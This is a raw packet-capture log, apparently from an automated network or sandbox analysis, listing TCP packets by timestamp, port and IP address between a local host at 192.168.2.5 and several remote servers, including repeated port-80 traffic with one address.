Oct 30, 2024 23:11:45.550236940 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.551681995 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.551688910 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.552942038 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.553030014 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.554485083 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.554575920 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.554749012 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.554815054 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.563505888 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.563534021 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.563723087 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.563827038 CET	49960	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.563837051 CET	443	49960	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.565845966 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.565875053 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.566030979 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.568799019 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.568815947 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.568906069 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.568965912 CET	49961	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.568981886 CET	443	49961	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.569303989 CET	49962	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.569312096 CET	443	49962	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.570719957 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.570732117 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.571471930 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.571578026 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.575067997 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.575097084 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.575141907 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.575143099 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.575198889 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.575198889 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.575560093 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.575572968 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.581559896 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.581598043 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.581670046 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.581669092 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.581722021 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.581732988 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.581746101 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.581773996 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.581789017 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.582041025 CET	49963	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.582057953 CET	443	49963	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.596642971 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.596728086 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.598720074 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.598743916 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.598803043 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.598845005 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.598856926 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.598977089 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.605030060 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.605308056 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.605334997 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.605693102 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.606156111 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.606231928 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.606287003 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.606298923 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.606307030 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.606313944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.606343985 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.606374025 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.606394053 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.606460094 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.606492996 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.608328104 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.608380079 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.608392000 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.608406067 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.608437061 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.608453989 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.608493090 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.609222889 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.609231949 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.624893904 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.641983986 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.642003059 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.642080069 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.642090082 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.642260075 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.642335892 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.642548084 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.642556906 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.643587112 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.643661022 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.644891024 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.644999981 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.651335955 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.653395891 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.653867006 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.653881073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.653892994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.653928995 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.653965950 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.654052019 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.654067039 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.656634092 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.656691074 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.656693935 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.656771898 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.660346985 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.660851002 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.661461115 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.661963940 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.661987066 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.663026094 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.663079977 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.664318085 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.664386988 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.677355051 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.677418947 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.677485943 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.678610086 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.678618908 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.678642988 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.678647995 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.686039925 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.686058998 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.686168909 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.686320066 CET	49964	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.686330080 CET	443	49964	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.688281059 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.688291073 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.689469099 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.689666986 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.689682961 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.690542936 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.690620899 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.691212893 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.691268921 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.691421032 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.691430092 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.699501038 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.699549913 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.699563980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.699570894 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.699609995 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.699609995 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.705014944 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.705014944 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.705038071 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:45.705043077 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.713289022 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.713310957 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.713375092 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.713391066 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.713437080 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.717495918 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.717539072 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.717581034 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.717586040 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.717632055 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.717901945 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.717912912 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.724129915 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.724143028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.724153042 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.724198103 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.724240065 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.726200104 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.726217985 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.726228952 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.726258993 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.726294994 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.738670111 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.738854885 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.753648043 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:45.753648043 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.769588947 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.769726992 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.769838095 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.770782948 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:45.770806074 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:45.771589041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771610022 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771620035 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771666050 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.771708965 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.771742105 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771783113 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.771785021 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771799088 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.771843910 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.787341118 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.787425041 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.817445993 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.817503929 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.818321943 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.818404913 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.818613052 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.818623066 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.818680048 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.844469070 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.844613075 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.844814062 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.844867945 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.845622063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.845630884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.845684052 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.845691919 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.845696926 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.845711946 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.845738888 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.845755100 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.889745951 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.889822960 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.889834881 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.889874935 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.889926910 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.889931917 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.889940023 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.889946938 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.890005112 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.890005112 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.894789934 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.894821882 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.895049095 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.895291090 CET	49965	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.895304918 CET	443	49965	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.904244900 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.904273033 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.904304981 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.904314995 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.904346943 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.904352903 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.904366016 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.904409885 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.939711094 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.939771891 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.939776897 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.939790010 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.939815044 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.939832926 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.957195044 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.957279921 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.957329035 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.957999945 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.958014011 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.960146904 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.960186958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.960196972 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.960236073 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.960253000 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.962028980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.962071896 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.962084055 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.962089062 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.962120056 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.992547035 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.992559910 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:46.007033110 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.007519007 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.007540941 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.007570028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.007613897 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.007623911 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.007662058 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.007698059 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.008578062 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.008584023 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.049388885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.049431086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.049442053 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.049465895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.049491882 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.057075024 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.057104111 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.057115078 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.057132006 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.057151079 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.079180002 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.079242945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.079252958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.079257011 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.079318047 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.080136061 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.080156088 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.080167055 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.080182076 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.080204010 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.125555038 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.125565052 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.125572920 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.125633955 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.140592098 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.140638113 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.140701056 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.140697956 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.140842915 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.140999079 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.141021013 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.141037941 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.141045094 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.143130064 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.143702030 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.143722057 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.143789053 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.144174099 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.144181013 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.144360065 CET	49966	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:46.144367933 CET	443	49966	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:46.144537926 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.144952059 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.145020008 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.145123959 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.145253897 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.145323992 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.164249897 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.164625883 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.164639950 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.165652990 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.165718079 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.166001081 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.166081905 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.166320086 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.166327000 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.166352034 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:46.166402102 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:46.167318106 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.167398930 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.167398930 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.167409897 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.167479038 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.167546034 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.167562962 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.167655945 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:46.171859026 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:46.171899080 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.172166109 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:46.172463894 CET	49967	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:46.172480106 CET	443	49967	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:46.174981117 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.174992085 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.175002098 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:46.175040960 CET	49870	80	192.168.2.5	185.215.113.206
